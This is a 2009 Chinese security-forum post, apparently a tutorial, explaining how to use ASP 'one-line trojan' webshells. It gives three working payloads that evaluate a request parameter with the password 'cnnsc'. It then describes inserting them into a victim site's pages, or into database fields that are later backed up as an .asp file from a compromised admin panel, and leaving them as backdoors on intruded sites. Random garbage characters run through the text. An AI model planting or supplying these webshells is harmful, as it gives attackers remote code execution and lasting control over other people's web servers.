【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
4 \4 z: m; }7 y% W( H! Q
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~
7 y. w' ~# _( o. W

1、咱们先弄懂怎么使用的。. l0 @6 C9 M& h: N# h5 u
' Z- u, s- b) C  R( V% t2 l
分为客户端和服务端

) d# r+ i% ]8 r( I3 V( d. e- }( q
客户端是连接上去的程序，也可以是网页

http://www.3ast.com.cn/tool/yijuhua.html7 [6 ?: _( W" |) k' d9 L
! f: I% s3 Q! x7 f9 j0 i" F/ U3 Y2 ^
服务端就是一段代码，代码里有对应的“密码”) ~" ?4 [1 W! V( b
$ \0 X" o9 I4 }; E5 I: w2 d
提供三个服务端:
1. <%eval request("cnnsc")%>
2. <%execute request("cnnsc")%> 0 \" r" x) Z9 _+ V. |& }
3. <%execute(request("cnnsc"))%>

cnnsc--密码
! U; h* t, V; m- O+ C
我们只要把这个代码插入到对方网站的网页中就可以了
/ j  ]7 H- h# q. {
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>

换一个页面，添加过了。访问的时候一切正常，看链接3 r- l! y1 {- i2 H& N) t% Y
& z1 \5 ?% r7 T/ p/ L
上传之后
) V0 i' O" M$ g2 K, D
链接上去了% m" Q9 Z# k% R4 q" w2 S. z! O: I5 K
OK.这个就是链接的主要过程
  K! T1 h" O! h1 |# T& P

/ f; g6 d4 m+ M
2、然后懂得哪里会用上、怎么用

(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了
% |! s" y, P/ t. `6 b& s
(2)可以给自己入侵的网站留下后门。。。。

(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。: I. f% \' Q+ K" I) [4 r5 s+ @, g

好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27